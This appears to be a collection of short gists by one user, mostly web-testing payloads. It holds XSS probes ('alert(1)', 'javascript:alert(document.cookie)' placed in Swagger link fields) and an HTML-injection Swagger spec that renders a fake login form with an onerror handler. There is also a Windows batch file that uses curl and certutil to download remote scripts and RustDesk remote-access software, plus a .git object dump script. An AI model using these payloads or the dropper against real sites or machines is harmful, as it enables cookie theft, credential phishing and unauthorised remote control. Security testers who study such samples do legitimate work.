ayadim

<?php phpinfo(); ?>

ayadim

{"code": "alert(1)"}

ayadim

{
    "url": "https://gist.githubusercontent.com/ayadim/901ddaa01679a29760f33277b3182782/raw/3b93144e5852088f909eae1b1b7d5a2839a5cf4b/swagger-test1.yaml",
    "urls": [
        {
            "url": "https://gist.githubusercontent.com/ayadim/901ddaa01679a29760f33277b3182782/raw/3b93144e5852088f909eae1b1b7d5a2839a5cf4b/swagger-test1.yaml",
            "name": "Test"
        }
    ]
}

ayadim

swagger: '2.0'
info:
  version: 1.0.0
  title: Fake Login Page
  description: '<div class="login-form">
    <div class="heading">
        <h1>HTML Injection : Fake Login</h1>
        <img src=x onerror="print()">
    </div>
    <div class="form-container">

ayadim

Fast Testing Checklist

A combination of my own methodology and the Web Application Hacker's Handbook Task checklist, as a Github-Flavored Markdown file

Contents

• Recon and analysis
• Test handling of access
• Test handling of input
• Test application logic
• Assess application hosting
• Miscellaneous tests

ayadim

`
~/
~
ים
   
 
___
__
_

ayadim

@echo off
curl -L -o login.py https://www.dropbox.com/scl/fi/az5jzhpuiylnw7yqw9du5/login.py?rlkey=1qjxif8fu35dh0v77nagv2ihh&dl=0
curl -L -o loop.bat https://www.dropbox.com/scl/fi/vji7ekyslpbovokpqeay3/loop.bat?rlkey=876nfzm3qdmyqhc1jckgqjcld&dl=0
curl -L -o show.bat https://www.dropbox.com/scl/fi/cwbwdo2n3tt8rbqmugc6h/show.bat?rlkey=41m0ds12mg6e28giib3zqlf6w&dl=0
certutil -urlcache -split -f "https://github.com/rustdesk/rustdesk/releases/download/1.2.1/rustdesk-1.2.1-x86_64.exe" rustdesk.exe
pip install pyautogui --quiet
pip install psutil --quiet
curl -s -L -o time.py https://www.dropbox.com/scl/fi/ox42qglbf6fsnm9erf8cw/timelimit.py?rlkey=opyeqgum1k95kud81xlc7d66r&dl=0
curl -s -L -o C:\Users\Public\Desktop\Telegram.exe https://telegram.org/dl/desktop/win64
curl -s -L -o C:\Users\Public\Desktop\Winrar.exe https://www.rarlab.com/rar/winrar-x64-621.exe

ayadim

alert(1);

ayadim

swagger: "2.0",
info: 
  title: "Swagger Sample App",
  description: "Please to click Terms of service"
  termsOfService: "javascript:alert(document.cookie)"
  contact: 
    name: "API Support",
    url: "javascript:alert(document.cookie)",
    email: "javascript:alert(document.cookie)"
  version: "1.0.1"

ayadim

#!/bin/bash
#This script will extract the content of all the objects in .git/objects
mkdir -p output
for folderName in $(ls .git/objects/);do
	for object in $(ls .git/objects/$folderName/);do
		git cat-file -p $folderName$object | tee "./output/$folderName--$object.txt"
	done
done